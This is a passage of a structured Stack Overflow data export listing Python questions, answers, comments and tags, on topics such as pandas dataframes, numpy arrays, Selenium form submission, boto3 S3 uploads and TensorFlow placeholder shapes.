has body: You can't use a list as a dictionary key. The type you use as a key needs to be hashable (this is what the TypeError: unhashable type refers to. Instead of using a list, you'll need to sort and group your files by single keywords, and use those as the keys - this has the added benefit of being able to search the list by a single keyword, instead of requiring you to have all the keywords for a file to be able to find it. Something like this would work: for line in open_file: new_d = line.split(',') filename = new_d[0] keywords = new_d[5:] for keyword in keywords: if keyword not in d: d[keyword] = [filename] else: d[keyword].append(filename)

http://stackoverflow.com/comment/81464109
type: Comment
has text: Possible duplicate of [Why can't I call read() twice on an open file?](https://stackoverflow.com/questions/3906137/why-cant-i-call-read-twice-on-an-open-file)
type: QuestionComment
comment on: http://stackoverflow.com/q/47256532
score: 1

http://stackoverflow.com/a/47245188
has body: Use the result as a boolean mask df.loc[:, mask]
answers question: http://stackoverflow.com/q/47245154
has comment: http://stackoverflow.com/comment/81441003
type: Answer
has comment: http://stackoverflow.com/comment/81440911
has comment: http://stackoverflow.com/comment/81532108
has comment: http://stackoverflow.com/comment/81441026
score: 2
has comment: http://stackoverflow.com/comment/81532026
has comment: http://stackoverflow.com/comment/81440902
upvote count: 2
downvote count: 0

http://stackoverflow.com/comment/81453481
comment on: http://stackoverflow.com/q/47251224
type: Comment
has text: @PRMoureu, it output `({'ID_worker': 1L, 'surname': u'Иванов'}, {'ID_worker': 2L, 'surname': u'Петров'}, {'ID_worker': 3L, 'surname': u'Сидоров'})`
score: 0
type: QuestionComment

http://stackoverflow.com/q/47331887
tagged with: python
has title: Gracefully terminating a subprocess in python
duplicate of: http://stackoverflow.com/q/35772001
favorite count: 0
type: Question
tagged with: python-3.x
linked to: http://stackoverflow.com/q/47306805
answer count: 0
tagged with: subprocess
has comment: http://stackoverflow.com/comment/81615312
upvote count: 2
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/81628504
linked to: http://stackoverflow.com/q/18499497
has comment: http://stackoverflow.com/comment/81615672
downvote count: 1
has comment: http://stackoverflow.com/comment/81615523
has comment: http://stackoverflow.com/comment/81615457
has comment: http://stackoverflow.com/comment/81615207
linked to: http://stackoverflow.com/q/7989922
linked to: http://stackoverflow.com/q/35772001
has comment: http://stackoverflow.com/comment/81615870
has body: Is there a way to gracefully terminate a subprocess, at any time? That is, before exiting, giving the subprocess time to take action before exiting. I've tried with send_signal() (as asked here but with no luck)
has comment: http://stackoverflow.com/comment/81619596
score: 1

http://stackoverflow.com/q/47369873
has body: How can I create a python statement for a conditional I have a dataframe like the one below. I was wondering how can i fill in missing dates based of the max min dates in a dataframe. Day Movie Rating 2017-01-01 GreatGatsby 5 2017-01-02 TopGun 5 2017-01-03 Deadpool 1 2017-01-10 PlanetOfApes 2 How can I make something that filles in the missing dates to something like Day Movie Rating 2017-01-01 GreatGatsby 5 2017-01-02 TopGun 5 2017-01-03 Deadpool 1 2017-01-04 0 0 2017-01-05 0 0 2017-01-06 0 0 2017-01-07 0 0 2017-01-08 0 0 2017-01-09 0 0 2017-01-10 PlanetOfApes 2
tagged with: pandas
upvote count: 2
downvote count: 0
tagged with: loops
favorite count: 0
has title: Fill in missing dates pandas based off max and min
type: Question
tagged with: conditional-statements
has answer: http://stackoverflow.com/a/47369916
accepted answer: http://stackoverflow.com/a/47369916
tagged with: python
has answer: http://stackoverflow.com/a/47369902
possible better answer: http://stackoverflow.com/a/47369902
score: 2
tagged with: numpy
type: AnsweredQuestion
answer count: 2

http://stackoverflow.com/comment/81539977
type: Comment
type: QuestionComment
score: 0
has text: Can we see your script?
comment on: http://stackoverflow.com/q/47294500

http://stackoverflow.com/q/47276494
has comment: http://stackoverflow.com/comment/81504153
has body: I have two arrays and I am trying to return a new array that equals the intersection of my original two arrays. The two original arrays should be of the same length. For example, if I have: arr1 = np.array([(255, 255, 255), (255, 255, 255)]) arr2 = np.array([(255, 255, 255), (255, 255, 255)]) I should get: intersectedArr = ([(255, 255, 255), (255, 255, 255]) However, if I have: arr1 = np.array([(100, 100, 100), (255, 255, 255)]) arr2 = np.array([(255, 255, 255), (255, 255, 255)]) I should get ([(255, 255, 255)]) So far i've tried: intersectedArr = np.intersect1d(arr1, arr2) but this returns [255] instead of the expected ([(255, 255, 255)]) Can someone help? Thanks in advance!
has answer: http://stackoverflow.com/a/47276745
has comment: http://stackoverflow.com/comment/81504312
favorite count: 0
type: Question
tagged with: numpy
upvote count: 2
has answer: http://stackoverflow.com/a/47278945
tagged with: arrays
has answer: http://stackoverflow.com/a/47276737
downvote count: 0
tagged with: python
has comment: http://stackoverflow.com/comment/81504274
answer count: 6
has comment: http://stackoverflow.com/comment/81504167
has answer: http://stackoverflow.com/a/47279335
has title: Python - return intersection of two arrays
has comment: http://stackoverflow.com/comment/81504159
type: AnsweredQuestion
score: 2
possible better answer: http://stackoverflow.com/a/48700502
has answer: http://stackoverflow.com/a/48700502
has answer: http://stackoverflow.com/a/69009066
linked to: http://stackoverflow.com/q/9269681
accepted answer: http://stackoverflow.com/a/47276745
has comment: http://stackoverflow.com/comment/81504317
has comment: http://stackoverflow.com/comment/81504285

http://stackoverflow.com/q/47351397
tagged with: submit
answer count: 1
tagged with: selenium
type: Question
accepted answer: http://stackoverflow.com/a/47351561
has body: I'm trying to auto submit login details and then log in to a page. My code snippet thus far is: from selenium import webdriver import selenium from selenium.webdriver.common.by import By driver = webdriver.Chrome("PathOfChromeDriver") driver.get("URL") username = driver.find_element_by_name("UserName") password = driver.find_element_by_name("Password") username.send_keys("My_Username") password.send_keys("My_Password") The above snippet works fine. The problem is submitting/ pressing login: driver.find_element_by_xpath("Sign in").click() I have tried every conceivable variation i could find on this forum of the above such as: driver.find_element_by_name("submit").click() etc. The source code to the website element in question is: Access your account Remember my login on this computer Sign in I just cannot get it to work. It usually gives me an error of the type "unable to locate an element with the ZZZ expression YYY". Any input is appreciated and the person with a solution is nothing short of a Hero!
tagged with: python
has answer: http://stackoverflow.com/a/47351561
tagged with: selenium-chromedriver
type: AnsweredQuestion
score: 0
has title: Submit/log in click Selenium + Python

http://stackoverflow.com/q/47324061
upvote count: 1
tagged with: python
type: AnsweredQuestion
tagged with: list
answer count: 2
has body: I have a list like: my_list = ['[:,y+1,x+1]', '[:,y+1,x-1]'] my_list[0] gives: '[:,y+1,x+1]' How to get only [:,y+1,x+1] Why I need this: I am trying to read netcdf file with the with the coordinates from the list, something like: from netCDF4 import Dataset fd = Dataset(ncfile,'r') fd.variables['t2m']my_list[0] where x and y are predefined.
score: 1
downvote count: 0
has comment: http://stackoverflow.com/comment/81598775
has answer: http://stackoverflow.com/a/47324143
has title: how to get element of list without string
favorite count: 0
type: Question
tagged with: numpy
has comment: http://stackoverflow.com/comment/81598749
possible better answer: http://stackoverflow.com/a/47324162
accepted answer: http://stackoverflow.com/a/47324143
has comment: http://stackoverflow.com/comment/81598837
has answer: http://stackoverflow.com/a/47324162

http://stackoverflow.com/a/47372826
type: Answer
answers question: http://stackoverflow.com/q/47372780
score: 4
has body: Your code is passing Tkinter StringVars to the validate_password() function. You need to call the get() method of the StringVar to get a Python string. Like p1 = first_pwd.get().
upvote count: 4
downvote count: 0

pca
tag name: pca
type: Tag
tags question: http://stackoverflow.com/q/47358216
tags question: http://stackoverflow.com/q/47370795

http://stackoverflow.com/comment/81550051
score: 0
has text: Thanks a lot, it helped !!
type: AnswerComment
comment on: http://stackoverflow.com/a/47299383
type: Comment

http://stackoverflow.com/comment/81680622
score: 1
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/47361991
has text: Note that mixing multiprocessing and SQLAlchemy is a bad idea. In general your processes should each contain a private connection pool, i.e. engine. Other techniques to avoid sharing connections may also be used. If your processes happen to share connections, as yoyr code would seem to do, bad things will happen. I hope you've read http://docs.sqlalchemy.org/en/latest/core/pooling.html#using-connection-pools-with-multiprocessing with care.

http://stackoverflow.com/q/47372274
score: 14
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/136041597
has body: I am having trouble "applying" a custom function in Pandas. When I test the function, directly passing the values it works and correctly returns the response, e.g. feez(800, "4 Plan"), returns 3200. However, when I attempt to pass the column values this way I receive the error: The truth value of a Series is ambiguous. Use a.empty, a.bool(), a.item(), a.any() or a.all(). def feez(rides, plan): pmt4 = 200 inc4 = 50 # number rides included min_rate4 = 4 if plan == "4 Plan": if rides > inc4: fee = ((rides - inc4) * min_rate4) + pmt4 else: fee = pmt4 return fee else: return 0.1 df['fee'].apply(feez(df.total_rides, df.plan_name)) I am a newbie and suspect my syntax is poorly written.
upvote count: 14
tagged with: pandas
has title: Apply custom function over multiple columns in pandas
answer count: 1
linked to: http://stackoverflow.com/q/34279378
tagged with: apply
favorite count: 0
accepted answer: http://stackoverflow.com/a/47372313
type: Question
has comment: http://stackoverflow.com/comment/136041333
has answer: http://stackoverflow.com/a/47372313
tagged with: function
linked to: http://stackoverflow.com/q/19913659
downvote count: 0
tagged with: dataframe
tagged with: python

http://stackoverflow.com/comment/81474127
score: 0
type: AnswerComment
has text: Sorry I gave you an answer in Scala not in Python, but the idea is the same!
comment on: http://stackoverflow.com/a/47261449
type: Comment

http://stackoverflow.com/comment/81568442
type: Comment
has text: Yeah exactly sorry
comment on: http://stackoverflow.com/q/47308923
score: 0
type: QuestionComment

http://stackoverflow.com/comment/81568415
type: QuestionComment
score: 0
comment on: http://stackoverflow.com/q/47308229
has text: True, there must be another way. Simply all I need is a means to transport the model plus the way to get data between systems in a way that allows copy-pasting of models. BTW, it is a very common method in model building to train a model on data source A but in production mode, data comes from source B.
type: Comment

http://stackoverflow.com/comment/81535394
type: QuestionComment
comment on: http://stackoverflow.com/q/47292074
score: 0
has text: I think the overriding principle is simply consistency. This avoids writing what I call "schizophrenic" (or perhaps multiple personality disordered) code that is hard to understand and maintain.
type: Comment

http://stackoverflow.com/comment/81400329
has text: To future proof my script, would this be the best way in the case of dates coming through in different lengths? i.e would I add extra Else statements to cope or is there a better way to increase performance of the script?
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/47225118
type: Comment

http://stackoverflow.com/q/47370152
type: Question
answer count: 1
has body: I have this method: class bsi_production_order(models.Model): _name = 'bsi.production.order' @api.model def create(self, vals): if vals.get('name', 'New') == 'New': if vals.get('production_type') == 'budgeted': vals['name'] = self.env['ir.sequence'].next_by_code('bsi.production.budgeted') or '/' elif vals.get('production_type') == 'nonbudgeted': vals['name'] = self.env['ir.sequence'].next_by_code('bsi.production.non_budgeted') or '/' elif vals.get('production_type') == 'direct': vals['name'] = self.env['ir.sequence'].next_by_code('bsi.production.direct') or '/' return super(bsi_production_order, self).create(vals) name = fields.Char('Reference', required=True, index=True, copy=False, readonly='True', default='New') date = fields.Date(string="Production Date") production_type = fields.Selection([ ('budgeted','Budgeted'), ('nonbudgeted','Non Budgeted'), ('direct','Direct Order'), ], string='Type of Order', index=True, copy=False, help=" ") This creates a new record depending on production_type selection. Now, this writes the name of the document as soon as it is saved, I have this method for the states: state = fields.Selection([ ('draft','Draft'), ('confirm','Confirmed'), ('inprogress','In progress'), ('print_order_inprogress','Print In Progress'), ('finished','Finished'), ('cancel','Cancel'), ], string='State', index=True, copy=False, help=" ") @api.one def prod_start_func(self): self.write({'state': 'confirm',}) When I save the document, the name of it, is written on save, so, it is on draft state by default. What I need is the name to be written when I actually use the prod_start_func method to change the state from draft to confirm Any ideas?
favorite count: 0
accepted answer: http://stackoverflow.com/a/47370289
tagged with: odoo
tagged with: odoo-8
tagged with: python
has title: Write name sequence on start state form - Odoo v8
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/47370289
downvote count: 0
upvote count: 1
score: 1

http://stackoverflow.com/a/47380091
has comment: http://stackoverflow.com/comment/81712526
answers question: http://stackoverflow.com/q/47380074
has comment: http://stackoverflow.com/comment/81712556
has comment: http://stackoverflow.com/comment/81712418
type: Answer
score: -1
has body: Use parentheses (()) and not brackets ([]) when making a function call.
upvote count: 0
downvote count: 1

http://stackoverflow.com/a/47381929
answers question: http://stackoverflow.com/q/47381849
downvote count: 0
score: 1
upvote count: 1
has comment: http://stackoverflow.com/comment/81716673
type: Answer
has body: The duplicate text is caused by the code seeing the word 'apple' in 'I like apples' (I like apples). For a solution, I would recommend splitting each item into words, and then checking for equality between the array and the file.
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/47381849

http://stackoverflow.com/comment/81580578
comment on: http://stackoverflow.com/q/47298172
has text: @Erwin. How would you add constrain on to the linear programming piece?
type: Comment
type: QuestionComment
score: 0

twitter
tags question: http://stackoverflow.com/q/47357213
tags question: http://stackoverflow.com/q/47250659
tags question: http://stackoverflow.com/q/47314215
tags question: http://stackoverflow.com/q/47296553
tag name: twitter
tags question: http://stackoverflow.com/q/47250991
tags question: http://stackoverflow.com/q/47371844
tags question: http://stackoverflow.com/q/47341988
tags question: http://stackoverflow.com/q/47273935
tags question: http://stackoverflow.com/q/47314558
tags question: http://stackoverflow.com/q/47372973
type: Tag
tags question: http://stackoverflow.com/q/47253543
tags question: http://stackoverflow.com/q/47251120
tags question: http://stackoverflow.com/q/47249937
tags question: http://stackoverflow.com/q/47224017
tags question: http://stackoverflow.com/q/47283167
tags question: http://stackoverflow.com/q/47242006
tags question: http://stackoverflow.com/q/47249153

http://stackoverflow.com/q/47298798
score: 0
has answer: http://stackoverflow.com/a/47298921
answer count: 1
has comment: http://stackoverflow.com/comment/81625594
has title: how to upload sub-folder which is empty to S3 using python
type: Question
linked to: http://stackoverflow.com/q/33842944
has body: The following code works fine except if there is a subfolder, which does not have any file inside, then the subfolder will not appear in S3. e.g. if /home/temp/subfolder has no file, then subfolder will not show in S3. how to change the code so that the empty folder is also uploaded in S3? I tried to write sth. (see note below), but do not know how to call put_object() to the empty subfolder. #!/usr/bin/env python import os from boto3.session import Session path = "/home/temp" session = Session(aws_access_key_id='XXX', aws_secret_access_key='XXX') s3 = session.resource('s3') for subdir, dirs, files in os.walk(path): # note: if not files ...... for file in files: full_path = os.path.join(subdir, file) with open(full_path, 'rb') as data: s3.Bucket('my_bucket').put_object(Key=full_path[len(path)+1:], Body=data) besides, I tried to call this function to check if a subfolder or file exist or not. it works for file, but not subfolder. how to check if a subfolder exists or not? (if a subfolder exists, I will not upload) def check_exist(s3, bucket, key): try: s3.Object(bucket, key).load() except botocore.exceptions.ClientError as e: return False return True BTW, I refer the above code from check if a key exists in a bucket in s3 using boto3 and http://www.developerfiles.com/upload-files-to-s3-with-python-keeping-the-original-folder-structure/ thanks them for sharing the code.
tagged with: python
tagged with: boto3
tagged with: amazon-web-services
accepted answer: http://stackoverflow.com/a/47298921
type: AnsweredQuestion

http://stackoverflow.com/q/47380570
has comment: http://stackoverflow.com/comment/81713711
favorite count: 0
type: Question
linked to: http://stackoverflow.com/q/30740490
has answer: http://stackoverflow.com/a/47380696
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/47380793
tagged with: python
tagged with: numpy
answer count: 2
has comment: http://stackoverflow.com/comment/81713652
score: 2
has title: Numpy transpose converts entries to strings?
upvote count: 2
has comment: http://stackoverflow.com/comment/81713744
tagged with: arrays
downvote count: 0
has body: I have an array whose entries are mix of ints and strings. I want to transpose it using numpy, but when I do the ints seem to get turned into strings. In [47]: X Out[47]: [['a', 1, 2], ['b', 1, 3]] In [48]: np.transpose(X) Out[48]: array([['a', 'b'], ['1', '1'], ['2', '3']], dtype='&lt;U1') I'd really like the output to be: [['a','b'],[1,1],[2,3]] (I can go in and fix it by writing some more code, but that's annoying and not good practice, I think. Although if there is a one or two line fix that would be helpful also. I'm also wondering what numpy is doing to produce this, and how to make it work the way I want it to.) EDIT: I notice this happens just when I convert X into a numpy array: In [50]: X = np.array(X) In [51]: X Out[51]: array([['a', '1', '2'], ['b', '1', '3']], dtype='&lt;U1') EDIT2: Resolved: In [55]: Y = np.asarray(X, dtype = object) In [56]: Y Out[56]: array([['a', 1, 2], ['b', 1, 3]], dtype=object) In [57]: Y.T Out[57]: array([['a', 'b'], [1, 1], [2, 3]], dtype=object)

http://stackoverflow.com/comment/81641052
comment on: http://stackoverflow.com/q/47344625
type: QuestionComment
score: 1
has text: Anything inside a class is ran, just like if it was on the base indentation level.
type: Comment

http://stackoverflow.com/q/47333776
has comment: http://stackoverflow.com/comment/81618893
has title: Python pandas - extract and replace
has body: I have a Pandas data frame column containing elements similar to the string McNally, King (XYZ). I would like to keep the last name, first name and remove everything else. Therefore after cleaning McNally, King (XYZ) should be McNally, King. I have tried following two functions but not getting the desired result: df['name'] = df['name'].str.extract(r'\w+\,\s[A-Z][a-z]+', expand=False) df['name'] = df['name'].replace({r'\w+\,\s[A-Z][a-z]+' : r'\w+\,\s[A-Z][a-z]+'}, regex=True) Second code replaces the substring with the regex itself, while the first code extracts the names from the string but I want to keep the name and remove everything else followed by the name. Edit: Sample data: Reyes, Rebecca L (XYZ) Derry, Odd P (XYZ) Garza, Per-Laura A (MNP) Fernandez, Rafael Carl (XYZ) Expected output: Reyes, Rebecca Derry, Odd Garza, Per-Laura Fernandez, Rafael I would like to edit-in-place i.e. modify the existing datafame itself and not creating a new one.
tagged with: python
has comment: http://stackoverflow.com/comment/81618925
tagged with: pandas
type: AnsweredQuestion
downvote count: 0
answer count: 1
score: 1
upvote count: 1
accepted answer: http://stackoverflow.com/a/47333865
favorite count: 0
has answer: http://stackoverflow.com/a/47333865
has comment: http://stackoverflow.com/comment/81618772
type: Question

http://stackoverflow.com/comment/81749456
score: 0
has text: all is in the areas dict : areas[4] is the first zone and so on. I add a pure set solution, 3x faster on this example.
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/47363850

http://stackoverflow.com/comment/81402082
type: QuestionComment
has text: `dir_names = [name for name in os.listdir(".") if os.path.isdir(name)]` provides you the list of folder names starting from `"."`
comment on: http://stackoverflow.com/q/47225863
score: 0
type: Comment

http://stackoverflow.com/comment/81685794
score: 0
type: Comment
type: QuestionComment
has text: What is the `.shape` of your image?
comment on: http://stackoverflow.com/q/47366263

http://stackoverflow.com/comment/81633073
has text: It depends on the database. PostgreSQL raises an exception `ERROR: invalid input syntax for integer: "B-001"` while MySQL converts all these mixed strings to zero. The function CAST is not useful for your purpose.
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/47298117

http://stackoverflow.com/a/47243663
type: Answer
score: 2
upvote count: 2
downvote count: 0
answers question: http://stackoverflow.com/q/47243490
has body: From your information, each number field is exactly 16 characters long. Therefore each line is 80 characters long. So for each line, x will be the list of the 5 numbers: x = [float(line[n:n+16]) for n in range(0,80,16)]

http://stackoverflow.com/q/47282690
tagged with: string
favorite count: 0
type: Question
duplicate of: http://stackoverflow.com/q/17020661
tagged with: python-3.x
linked to: http://stackoverflow.com/q/3031045
type: UnansweredQuestion
linked to: http://stackoverflow.com/q/17020661
tagged with: python
has body: I am trying to use string translate in Python 3 but it does not seem to work. I looked at other answers (1, 2) but up to no avail. I am using the following code: Can someone please help me? from string import punctuation punctuation = dict(list(map(lambda x: [x, None], list(punctuation)))) s = "hello!brother" s.translate(punctuation)
linked to: http://stackoverflow.com/q/265960
answer count: 0
has title: how to use string translate in python 3
downvote count: 0
upvote count: 1
score: 1

http://stackoverflow.com/comment/119421103
type: Comment
type: AnswerComment
has text: Just out of curiosity, and thanks to the fact that I found myself looking for faster implementations of `fftconvolve`, I tried this with various examples and "same" convolution and found this to take twice the time `scipy.signal.fftconvolve` takes. What do you think it's the problem?
score: 1
comment on: http://stackoverflow.com/a/47494125

http://stackoverflow.com/a/47388203
upvote count: 3
downvote count: 0
score: 3
type: Answer
has body: Let me add that you can also add show() to make the gui window appear when running the script from command line. I.e. using PyPlot x = linspace(0, 10, 200) y = sin.(x) plot(x, y, "b-", linewidth=2) show()
answers question: http://stackoverflow.com/q/47377003

ipv6
tag name: ipv6
tags question: http://stackoverflow.com/q/47280816
type: Tag

http://stackoverflow.com/comment/81713050
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/47380267
has text: https://www.tensorflow.org/install/install_windows
score: 0

http://stackoverflow.com/comment/81564556
comment on: http://stackoverflow.com/q/47307083
type: Comment
type: QuestionComment
has text: I think you need to read this https://stackoverflow.com/questions/6130768/return-none-if-dictionary-key-is-not-available as I think it will do what you want. i.e. return None when the key is not present. Also, you could simplify you code a bit by having a statement like `dict_metadata = res_1[i]['metadata']` to reduce the replicated parts of the nested dictionaries you're using. Up to you
score: 0

http://stackoverflow.com/a/47300610
has comment: http://stackoverflow.com/comment/81553411
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/81552414
downvote count: 0
has comment: http://stackoverflow.com/comment/81555724
score: 3
accepted answer of: http://stackoverflow.com/q/47300418
type: Answer
has comment: http://stackoverflow.com/comment/81552504
answers question: http://stackoverflow.com/q/47300418
has body: There are three problems: first, you have not actually opened the file. So, for i in "file.txt" actually returns the letters "f", "i", ... in each loop iteration. Second, your regular expression is looking for DD-MM-YYYY, which is not present in your sample file. Lastly, match is not a string that you can print. Instead, this code works: import re myfile = open("file.txt", "r") for i in myfile: match = re.match(r'\d{4}$', i[:-1]) print(match.string)
upvote count: 3

increment
tags question: http://stackoverflow.com/q/47254463
type: Tag
tag name: increment

http://stackoverflow.com/q/47296161
answer count: 2
has answer: http://stackoverflow.com/a/47296249
upvote count: 0
type: UnansweredQuestion
tagged with: cluster-analysis
tagged with: machine-learning
has comment: http://stackoverflow.com/comment/81596898
tagged with: scikit-learn
downvote count: 1
has comment: http://stackoverflow.com/comment/81600040
has answer: http://stackoverflow.com/a/47302162
has body: This is a model of my problem: I start with a list of datapoints X = ['Apple','Peach','Orange','Dog','Elephant','Fox','Cat','Mango'] Then I have the output of a supervised classifier which leads me to classes such as: Y = clf.predict(X) # 'FRUIT','FRUIT','FRUIT','ANIMAL','0','ANIMAL','ANIMAL','FRUIT' Even in a perfect world where my classifier has no FN I'd like to be able to group my classes into higher order classes Z = cluster(Y) # 'LIST_OF_FRUITS','LIST_OF_ANIMALS','LIST_OF_FRUITS' I'm struggling to find something which can do something like this, with or without labeled examples because without defining how large the group I cant see how this could be done. Also an extension of this which is what I'm actually trying to solve is what if the desired groupings are containing of a few classes of different types not just a concurrent list of "FRUIT" but say a "DINNER" which often will be 0+ "MEATS", 0+ "VEG" etc the ideal solution would be one that knows the atypical dinner and could deduce/correct false negatives and find a dinner grouping from the classified data i.e: Y = ['MEAT','0','0','0','0','MEAT','0','VEG','MEAT'] -&gt; ['DINNER'] (1 instance) Some bag of words encoding of the problem should work but I don't get how to partition the output of classifier 1 such that partitions aren't forced to be a certain size Is there something that I could use for this?
tagged with: python
has title: How can I cluster/group the output of a supervised classifier?
score: -1
has comment: http://stackoverflow.com/comment/81544040
favorite count: 0
type: Question
has comment: http://stackoverflow.com/comment/81543791

http://stackoverflow.com/q/47234051
answer count: 1
has answer: http://stackoverflow.com/a/47234081
tagged with: tensorflow
tagged with: multiclass-classification
has title: Cannot feed value of shape (4,) for Tensor 'Placeholder_10:0', which has shape '(?, 4)'
tagged with: python
has body: Hej, in the final step of my multi-class neural network for the IRIS data set, I am executing the following code: steps = 2500 with tf.Session() as sess: sess.run(init) for i in range(steps): sess.run(train,feed_dict={X_data:X_train,y_target:y_train}) # PRINT OUT A MESSAGE EVERY 100 STEPS if i%500 == 0: print('Currently on step {}'.format(i)) print('Accuracy is:') # Test the Train Model matches = tf.equal(tf.argmax(final_output,1),tf.argmax(y_target,1)) acc = tf.reduce_mean(tf.cast(matches,tf.float32)) print(sess.run(acc,feed_dict={X_data:X_test,y_target:y_test})) print('\n') correct_prediction = tf.equal(tf.argmax(final_output,1), tf.argmax(y_target,1)) accuracy = tf.reduce_mean(tf.cast(correct_prediction, "float")) print("Final accuracy: ", sess.run(accuracy, feed_dict={X_data: X_test, y_target: y_test})) My last step here would be to predict the output of manually entered values. I tried this: prediction=tf.argmax(final_output,1) print("Predictions") new = [5.1,3.5,1.4,0.2] print(prediction.eval(feed_dict={X_data: new})) but I get the following error Cannot feed value of shape (4,) for Tensor 'Placeholder_10:0', which has shape '(?, 4)' I don't really know how to create a list with 4 manual entered values that would fit into the format of this placeholder X_data = tf.placeholder(shape=[None, 4], dtype=tf.float32) Thank you!
type: Question
score: 0
tagged with: tensor
type: UnansweredQuestion
tagged with: classification

http://stackoverflow.com/a/66579566
score: 1
answers question: http://stackoverflow.com/q/47306429
type: Answer
has body: You can use pysmps package in Python. It can simply be installed through pip install pysmps. Further details can be found in: https://pypi.org/project/pysmps/ https://github.com/jmaerte/pysmps
downvote count: 0
upvote count: 1

http://stackoverflow.com/comment/81435038
type: Comment
has text: @PrincessZena It doesn't change **what** value? As I said in my answer, if you want to change the file on disk, you need to write over it.
comment on: http://stackoverflow.com/a/47241642
type: AnswerComment
score: 0

http://stackoverflow.com/comment/81488196
comment on: http://stackoverflow.com/q/47267126
type: Comment
type: QuestionComment
has text: Thank you! I couldn't find these answers.
score: 0

http://stackoverflow.com/q/47242668
has answer: http://stackoverflow.com/a/70330312
tagged with: python
has comment: http://stackoverflow.com/comment/81436005
answer count: 1
has title: Failure installing pybluez
score: 4
has body: I want to install pybluez with python 3.8 but get this error: C:\wndows\system32&gt;pip install pybluez Collecting pybluez Using cached PyBluez-O.22.zip Complete output from command python setup.py egg_info: Could not find the Windows Platform SDK ----------------------------------------- Command "python setup.py egg_info" failed with error code 1 in C:\Users\Rostan\AppData\Local\Temp\pip-build-nx_jjne7\pybluez\ I tried to download it from the PyPI - the Python Package Index, but the latest version is for Python 3.5 (I am using Python 3.8)
type: Question
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/83318262
tagged with: pybluez
linked to: http://stackoverflow.com/q/48821917
favorite count: 0
upvote count: 4
tagged with: python-3.x
has comment: http://stackoverflow.com/comment/104216574
accepted answer: http://stackoverflow.com/a/70330312
downvote count: 0

http://stackoverflow.com/q/47371515
has body: I'm creating rectangle objects based off of info in a file. I need to go through each line in the file and make the various rectangles, and then compare them to each other and find out if they intersect. The values of a singular rectangle are stored on their own lines like: A,10,12,3,4 then B,3,5,62,2 and so on. This is how I've been getting that info (I have a method in my class that prints out the values), but I can't figure out how to assign variable names to them so I can then do something like A.intersection(B), because right now I would have to say sl[0].intersection(sl[0]) which just returns that they intersect perfectly on each other, because obviously they are the exact same rectangle. def opens(f, cls): try: inpFile = open(f) except IOError, e: print "Failed to open %s for reading: %s" % ("inputRectangles.txt", e) i = 0 for line in inpFile: i+= 1 sl = line.split(",") sl[1] = int(sl[1]) sl[2] = int(sl[2]) sl[3] = int(sl[3]) sl[4] = int(sl[4]) sl[0] = cls(sl[1], sl[2], sl[3], sl[4]) print sl[0] #MAIN opens("inputRectangles.txt", Rectangle) So far I've tried to put each class into it's own list, and using random letter assignment in order to name them, but none of my potential solutions have worked. Part of the problem is I'm trying to write the code in a way that works no matter how many rectangles there are. Any help is greatly appreciated. EDIT This is my intersection method: def intersection(self, other): #find unkown values of corners #far right x (self) maxXS = self.__left + self.__width #top y (self) maxYS = self.__bottom + self.__height #far right x (other) maxXO = other.__left + other.__width #top y (other) maxYO = other.__bottom + other.__height #find width(wx) and height(hy) wx = min(maxXS, maxXO) - max(self.__left, other.__left) hy = min(maxYS, maxYO) - max(self.__bottom, other.__bottom) #if width less than 0 if wx &lt; 0: wx = 0 #ENDIF #if height less than 0 if hy &lt; 0: hy = 0 #ENDIF #if min left point is self if min(self.__left, other.__left) …
has answer: http://stackoverflow.com/a/47371827
tagged with: python
has comment: http://stackoverflow.com/comment/81695907
type: Question
has title: create object from file and compare with method
has answer: http://stackoverflow.com/a/47371662
tagged with: python-2.7
score: 0
answer count: 3
has answer: http://stackoverflow.com/a/47371595
has comment: http://stackoverflow.com/comment/81697562
type: UnansweredQuestion

http://stackoverflow.com/a/47346655
has comment: http://stackoverflow.com/comment/81645250
answers question: http://stackoverflow.com/q/47346585
has comment: http://stackoverflow.com/comment/91216442
score: 1
type: Answer
upvote count: 2
has body: locate an element that only exists after the new DOM is loaded. If you can find it, you are on the new page. try: driver.find_element_by_class_name("txtSearch") print("redirected to new page") except NoSuchElementException: print("oops, no redirect happened")
has comment: http://stackoverflow.com/comment/81645168
downvote count: 1
has comment: http://stackoverflow.com/comment/81646338

http://stackoverflow.com/a/47369554
has body: NEW ANSWER As @user207421 said: Why? Setting it doesn't prevent you from unicasting. Just set it on the socket when you open it. Then you can both unicast and broadcast. OLD ANSWER To allow your socket to send messages to 255.255.255.255 (broadcast) you can do something like this... Inside Sender class: def send(self, msg, addr): if addr[0] == "255.255.255.255": self.socket.setsockopt(s.SOL_SOCKET, s.SO_BROADCAST, 1) self.socket.sendto(msg, addr) if addr[0] == "255.255.255.255": self.socket.setsockopt(s.SOL_SOCKET, s.SO_BROADCAST, 0)
score: 0
accepted answer of: http://stackoverflow.com/q/47366999
type: Answer
answers question: http://stackoverflow.com/q/47366999
type: AcceptedAnswer

http://stackoverflow.com/q/47349332
favorite count: 0
type: Question
tagged with: package
answer count: 2
has body: I want to make a distributable python module, so I want to make users call functions inside of my module via just calling package name. e.g. /my_package/ /my_package/__init__.py /my_package/src/ /my_package/src/__init__.py /my_package/src/my_module.py and, the contents of mymodule.py: def test(): print('hello!') in this case, I want to let users use my module like: &gt;&gt;&gt; import mypackage as mp &gt;&gt;&gt; mp.test() hello! just like tensorflow, numpy, etc. !!! How should I configure __init__.py file and path info??
tagged with: python
type: UnansweredQuestion
tagged with: module
has title: how to call python module with package name
has answer: http://stackoverflow.com/a/47349459
score: 3
upvote count: 3
has answer: http://stackoverflow.com/a/47351530
downvote count: 0

http://stackoverflow.com/q/47335544
has comment: http://stackoverflow.com/comment/81623239
linked to: http://stackoverflow.com/q/9376384
tagged with: list
has comment: http://stackoverflow.com/comment/81622887
downvote count: 4
upvote count: 0
type: UnansweredQuestion
answer count: 1
tagged with: sorting
score: -4
has answer: http://stackoverflow.com/a/47336138
